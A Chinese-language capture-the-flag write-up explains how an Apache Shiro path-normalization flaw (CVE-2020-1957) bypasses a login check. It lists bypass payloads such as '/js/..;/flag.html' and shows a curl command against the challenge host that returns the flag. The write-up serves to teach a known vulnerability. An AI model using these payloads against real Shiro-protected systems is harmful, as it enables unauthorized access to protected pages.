解题过程
1. 信息收集
访问首页发现会自动跳转到 login.html。尝试直接访问 flag.html 也会被重定向到登录页面。
查看响应头,发现使用了 JSESSIONID,结合前端资源路径(如 js/modules/sys/sysLogin.js),推测后端使用了 Java 框架(可能是 JeeSite 或 Spring Boot),并可能集成了 Apache Shiro 安全框架。
2. 漏洞发现 (Shiro 权限绕过)
Apache Shiro 在历史版本中存在多个路径规范化(Path Normalization)导致的权限绕过漏洞。
核心原理是:Shiro 在处理 URL 时与 Web 容器(如 Tomcat)对特定字符(如 ;、..)的解析存在差异。
测试常见的绕过 Payload:
/;/flag.html
/flag.html/
/js/..;/flag.html
3. 漏洞利用
使用 curl 发送构造好的 Payload:
curl http://175.27.169.122:24774/js/..;/flag.html
成功获取到 flag.html 的内容:
<!DOCTYPE html>
<html>
...
<body class="hold-transition ">
<h1>flag{a0c93d33-8abc-42af-b516-d2840c45ccea}</h1>
...
</body>
</html>
最终 Flag
flag{a0c93d33-8abc-42af-b516-d2840c45ccea}
知识点总结
- Apache Shiro 权限绕过 (CVE-2020-1957等): 利用路径解析差异绕过身份验证。
- 路径规范化差异: 不同的安全组件对 URL 中
; 和 .. 的处理逻辑不同,导致权限控制失效。
- 静态资源目录利用: 通常
/js/、/css/ 等目录被配置为匿名访问,利用 ..; 可以从这些目录跳转到受保护的资源。